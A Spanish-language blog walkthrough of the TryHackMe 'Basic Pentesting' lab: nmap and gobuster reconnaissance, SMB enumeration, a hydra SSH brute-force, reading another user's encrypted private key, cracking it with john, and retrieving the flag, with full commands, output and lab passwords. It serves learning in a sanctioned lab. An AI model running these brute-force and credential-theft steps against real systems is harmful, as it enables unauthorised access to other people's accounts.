Basic Pentesting [TryHackMe]

2022-10-12

Basic Pentesting - TryHackMe >

Hoy traigo unos apuntes que me he hecho para una máquina fácil de TryHackMe. En ella se repasan los coneptos más básicos de reconocimiento, ataques de fuerza bruta y enumeración de servicios. A continuación dejo el enlace de THM:

Basic Pentesting

Según dice la introducción de la sala, estos son los conceptos que se van a aprender con ésta máquina:

  • brute forcing
  • hash cracking
  • service enumeration
  • Linux Enumeration

Se puede usar al “AttackBox” de TryHackMe o, como es mi caso, conectarse por VPN y atacar con mi propia máquina.

¡Así que vamos a ello!

Reconocimiento

El primer paso es iniciar la máquina vulnerable y esperar a que nos de la dirección IP. Una vez la tenemos, un simple ping nos ayudará a estar seguros de que estamos en la misma red y vemos a la máquina objetivo. En mi caso, me ha dado la IP 10.10.59.211 y con el ping compruebo que veo al objetivo.

Ejecuto un reconocimiento de puertos usando nmap. En esta máquina no importa hacer algo de ruido, asi que uso las opciones -sC (–script=default) y –open (mostrar solo puertos abiertos):

┌──(alberto㉿kali)-[~/Descargas]
└─$ nmap -sC --open 10.10.59.211 
Starting Nmap 7.93 ( https://nmap.org ) at 2022-10-12 15:48 CEST
Nmap scan report for 10.10.59.211
Host is up (0.038s latency).
Not shown: 994 closed tcp ports (conn-refused)
PORT     STATE SERVICE
22/tcp   open  ssh
| ssh-hostkey: 
|   2048 db45cbbe4a8b71f8e93142aefff845e4 (RSA)
|   256 09b9b91ce0bf0e1c6f7ffe8e5f201bce (ECDSA)
|_  256 a5682b225f984a62213da2e2c5a9f7c2 (ED25519)
80/tcp   open  http
|_http-title: Site doesn't have a title (text/html).
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
8009/tcp open  ajp13
| ajp-methods: 
|_  Supported methods: GET HEAD POST OPTIONS
8080/tcp open  http-proxy
|_http-favicon: Apache Tomcat
|_http-title: Apache Tomcat/9.0.7

Host script results:
| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
|   Computer name: basic2
|   NetBIOS computer name: BASIC2\x00
|   Domain name: \x00
|   FQDN: basic2
|_  System time: 2022-10-12T09:48:31-04:00
|_clock-skew: mean: 1h19m59s, deviation: 2h18m34s, median: -1s
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   311: 
|_    Message signing enabled but not required
|_nbstat: NetBIOS name: BASIC2, NetBIOS user: <unknown>, NetBIOS MAC: 000000000000 (Xerox)
| smb2-time: 
|   date: 2022-10-12T13:48:31
|_  start_date: N/A

Nmap done: 1 IP address (1 host up) scanned in 31.92 seconds

En el escaneo de puertos ya vemos algunas cosas interesantes:

  • Tiene el puerto 22 abierto para un servicio ssh.
  • En el puerto 80 tiene un servidor Apache.
  • Tiene un servicio SMB en el puerto 445

Vamos a empezar por el vector más obvio, el servidor web. Asi que pongo la IP en la barra de direcciones del navegador y miro lo que hay.

http://10.10.59.211/

La página está en construcción, pero podría haber más páginas colgadas que ahora mismo no podemos ver. Es en este momento cuando uso la herramienta GoBuster para intentar descubrir si hay algo.

┌──(alberto㉿kali)-[~]
└─$ gobuster dir -u http://10.10.59.211/ -w /usr/share/wordlists/dirbuster/directory-list-1.0.txt 
===============================================================
Gobuster v3.2.0-dev
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.59.211/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-1.0.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.2.0-dev
[+] Timeout:                 10s
===============================================================
2022/10/12 16:13:01 Starting gobuster in directory enumeration mode
===============================================================
/development          (Status: 301) [Size: 318] [--> http://10.10.59.211/development/]
Progress: 9638 / 141709 (6.80%)^C
[!] Keyboard interrupt detected, terminating.
===============================================================
2022/10/12 16:13:41 Finished

GoBuster va probando una lista de palabras detrás de la dirección que he indicado, y dependiendo del mensaje http que reciba, marca la dirección como coincidencia positiva o negativa. En este caso, parece que hay una pagína de devolopment colgada, así que pruebo a acceder a ella.

http://10.10.59.211/

En estos ficheros veo que han configurado un servicio SMB y que hay dos desarrolladores, uno llamado J y otro llamado K, que se intercambian mensajes. Al parecer, K deja un mensaje a J sobre que la contraseña que ha puesto a su usario es muy débil y no cumple con las reglas de seguridad de la empresa. Esto es importante, ¡ya sabemos que necesitamos conseguir el usuario de J!

Bien, pues ahora toca hacer una enumeración del servicio SMB usando la herramienta enum4linux para conseguir el usuario de J.

┌──(alberto㉿kali)-[~]
└─$ enum4linux 10.10.59.211 
Starting enum4linux v0.9.1 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Wed Oct 12 16:22:02 2022

 =========================================( Target Information )=========================================

Target ........... 10.10.59.211
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none


 ============================( Enumerating Workgroup/Domain on 10.10.59.211 )============================


[+] Got domain/workgroup name: WORKGROUP


 ================================( Nbtstat Information for 10.10.59.211 )================================

Looking up status of 10.10.59.211
	BASIC2          <00> -         B <ACTIVE>  Workstation Service
	BASIC2          <03> -         B <ACTIVE>  Messenger Service
	BASIC2          <20> -         B <ACTIVE>  File Server Service
	..__MSBROWSE__. <01> - <GROUP> B <ACTIVE>  Master Browser
	WORKGROUP       <00> - <GROUP> B <ACTIVE>  Domain/Workgroup Name
	WORKGROUP       <1d> -         B <ACTIVE>  Master Browser
	WORKGROUP       <1e> - <GROUP> B <ACTIVE>  Browser Service Elections
	
...

El informe que nos muestra enum4linux es bastante completo y largo. Tras revisarlo, me quedo con estos datos:

  • El equipo se llama BASIC2
  • Están compartiendo la carpeta //10.10.59.211/Anonymous sin seguridad
  • Hay dos usuarios, kay y jan

http://10.10.59.211/

Ataque de fuerza bruta contra ssh

Ahora ya tengo un usuario (jan) para poder realizar mi ataque de fuerza bruta contra el objetivo e intentar tener acceso remoto mediante SSH. Para poder hacerlo, voy a usar la herramienta hydra y una wordlist para que pruebe contraseñas con el usuario jan. Depende de lo larga que sea la lista, el ataque durará más o menos. En mi caso le llevó algunos minutos, asi que sed pacientes. Paciencia….

┌──(alberto㉿kali)-[~]
└─$ hydra -l jan -P Descargas/rockyou.txt 10.10.59.211 ssh
Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-10-12 16:43:07
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking ssh://10.10.59.211:22/
[STATUS] 176.00 tries/min, 176 tries in 00:01h, 14344223 to do in 1358:22h, 16 active
[STATUS] 128.00 tries/min, 384 tries in 00:03h, 14344015 to do in 1867:43h, 16 active
[22][ssh] host: 10.10.59.211   login: jan   password: armando
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-10-12 16:49:50

Ya tenemos la clave: armando. Ahora me conecto por ssh con el usuario de jan y vemos que hay ahí dentro.

┌──(alberto㉿kali)-[~]
└─$ ssh jan@10.10.59.211                
The authenticity of host '10.10.59.211 (10.10.59.211)' can't be established.
ED25519 key fingerprint is SHA256:XKjDkLKocbzjCch0Tpriw1PeLPuzDufTGZa4xMDA+o4.
This host key is known by the following other names/addresses:
    ~/.ssh/known_hosts:12: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.59.211' (ED25519) to the list of known hosts.
jan@10.10.59.211's password: 
Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0-119-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

0 packages can be updated.
0 updates are security updates.



The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.


The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

Last login: Mon Apr 23 15:55:45 2018 from 192.168.56.102
jan@basic2:~$ 

Sabemos que hay otro usuario llamado kay, así que tiene que tener una carpeta personal. Me muevo hasta ella y reviso que hay.

jan@basic2:~$ ls -la
total 12
drwxr-xr-x 2 root root 4096 Apr 23  2018 .
drwxr-xr-x 4 root root 4096 Apr 19  2018 ..
-rw------- 1 root jan    47 Apr 23  2018 .lesshst
jan@basic2:~$ cd ..
jan@basic2:/home$ ls
jan  kay
jan@basic2:/home$ cd kay
jan@basic2:/home/kay$ ls -la
total 48
drwxr-xr-x 5 kay  kay  4096 Apr 23  2018 .
drwxr-xr-x 4 root root 4096 Apr 19  2018 ..
-rw------- 1 kay  kay   756 Apr 23  2018 .bash_history
-rw-r--r-- 1 kay  kay   220 Apr 17  2018 .bash_logout
-rw-r--r-- 1 kay  kay  3771 Apr 17  2018 .bashrc
drwx------ 2 kay  kay  4096 Apr 17  2018 .cache
-rw------- 1 root kay   119 Apr 23  2018 .lesshst
drwxrwxr-x 2 kay  kay  4096 Apr 23  2018 .nano
-rw------- 1 kay  kay    57 Apr 23  2018 pass.bak
-rw-r--r-- 1 kay  kay   655 Apr 17  2018 .profile
drwxr-xr-x 2 kay  kay  4096 Apr 23  2018 .ssh
-rw-r--r-- 1 kay  kay     0 Apr 17  2018 .sudo_as_admin_successful
-rw------- 1 root kay   538 Apr 23  2018 .viminfo
jan@basic2:/home/kay$ cat pass.bak 
cat: pass.bak: Permission denied
jan@basic2:/home/kay$ 

Tenemos un fichero llamado pass.bak que tiene pinta de ser la bandera de la sala para la última pregunta. Desgraciadamente no puedo acceeder a su contenido. Sin embargo veo hay una carpeta oculta llamada .ssh, seguramente contendra la clave de autenticación ssh encriptada. Vamos a echarle un ojo:

jan@basic2:/home/kay$ ls .ssh/
authorized_keys  id_rsa  id_rsa.pub


jan@basic2:/home/kay$ cat .ssh/id_rsa
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,6ABA7DE35CDB65070B92C1F760E2FE75

IoNb/J0q2Pd56EZ23oAaJxLvhuSZ1crRr4ONGUAnKcRxg3+9vn6xcujpzUDuUtlZ
o9dyIEJB4wUZTueBPsmb487RdFVkTOVQrVHty1K2aLy2Lka2Cnfjz8Llv+FMadsN
XRvjw/HRiGcXPY8B7nsA1eiPYrPZHIH3QOFIYlSPMYv79RC65i6frkDSvxXzbdfX
AkAN+3T5FU49AEVKBJtZnLTEBw31mxjv0lLXAqIaX5QfeXMacIQOUWCHATlpVXmN
lG4BaG7cVXs1AmPieflx7uN4RuB9NZS4Zp0lplbCb4UEawX0Tt+VKd6kzh+Bk0aU
hWQJCdnb/U+dRasu3oxqyklKU2dPseU7rlvPAqa6y+ogK/woTbnTrkRngKqLQxMl
lIWZye4yrLETfc275hzVVYh6FkLgtOfaly0bMqGIrM+eWVoXOrZPBlv8iyNTDdDE
3jRjqbOGlPs01hAWKIRxUPaEr18lcZ+OlY00Vw2oNL2xKUgtQpV2jwH04yGdXbfJ
LYWlXxnJJpVMhKC6a75pe4ZVxfmMt0QcK4oKO1aRGMqLFNwaPxJYV6HauUoVExN7
bUpo+eLYVs5mo5tbpWDhi0NRfnGP1t6bn7Tvb77ACayGzHdLpIAqZmv/0hwRTnrb
RVhY1CUf7xGNmbmzYHzNEwMppE2i8mFSaVFCJEC3cDgn5TvQUXfh6CJJRVrhdxVy
VqVjsot+CzF7mbWm5nFsTPPlOnndC6JmrUEUjeIbLzBcW6bX5s+b95eFeceWMmVe
B0WhqnPtDtVtg3sFdjxp0hgGXqK4bAMBnM4chFcK7RpvCRjsKyWYVE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CAHk1hUL3eseN3ZpQWRnDGAAPxH+LgPyE8Sz1it8aPuP8gZABUFjBbEFMwNYB
e5ofsDLuIOhCVzsw/DIUrF+4liQ3R36Bu2R5+kmPFIkkeW1tYWIY7CpfoJSd74VC
3Jt1/ZW3XCb76R75sG5h6Q4N8gu5c/M0cdq16H9MHwpdin9OZTqO2zNxFvpuXthY
-----END RSA PRIVATE KEY-----

Pues ya tenemos la clave privada de kay para acceder al servidor por ssh. Me la copio en mi equipo y me preparo para romperla. Aunque antes hay que convertirla en un formato compatible para la herramienta john the ripper. La guardo en un fichero llamado rsa_original y la paso por la herramienta ssh2john y hago que me la guarde en un fichero llamado crack.txt. Despues la paso por john the ripper:

┌──(alberto㉿kali)-[~/Descargas]
└─$ ssh2john rsa_original > crack.txt   
                                                                                                                             
┌──(alberto㉿kali)-[~/Descargas]
└─$ john --wordlist=rockyou.txt crack.txt   
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])

Tras unos minutos, obtenemos la contraseña: beeswax

Esta nos servirá para conectarnos por ssh con el usuario de kay, pero tenemos que usar la clave pública para que nos permita realizar la conexión, así que aprovechamos el equipo en el que nos hemos colado que tiene los dos pares de claves para hacer la conexión desde aqui:

jan@basic2:/home/kay/.ssh$ ssh -i id_rsa kay@10.10.59.211
Could not create directory '/home/jan/.ssh'.
The authenticity of host '10.10.59.211 (10.10.59.211)' can't be established.
ECDSA key fingerprint is SHA256:+Fk53V/LB+2pn4OPL7GN/DuVHVvO0lT9N4W5ifchySQ.
Are you sure you want to continue connecting (yes/no)? yes
Failed to add the host to the list of known hosts (/home/jan/.ssh/known_hosts).
Enter passphrase for key 'id_rsa': 
Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0-119-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

0 packages can be updated.
0 updates are security updates.


Last login: Mon Apr 23 16:04:07 2018 from 192.168.56.102
kay@basic2:~$ cat pass.bak
heresareallystrongpasswordthatfollowsthepasswordpolicy$$

Y tras conectarme por ssh con el usuario de kay, puedo mostrar el contenido del fichero pass.bak y obtener la bandera final de la sala heresareallystrongpasswordthatfollowsthepasswordpolicy$$


¡Nos vemos!

(◕‿‿◕) Hack the planet!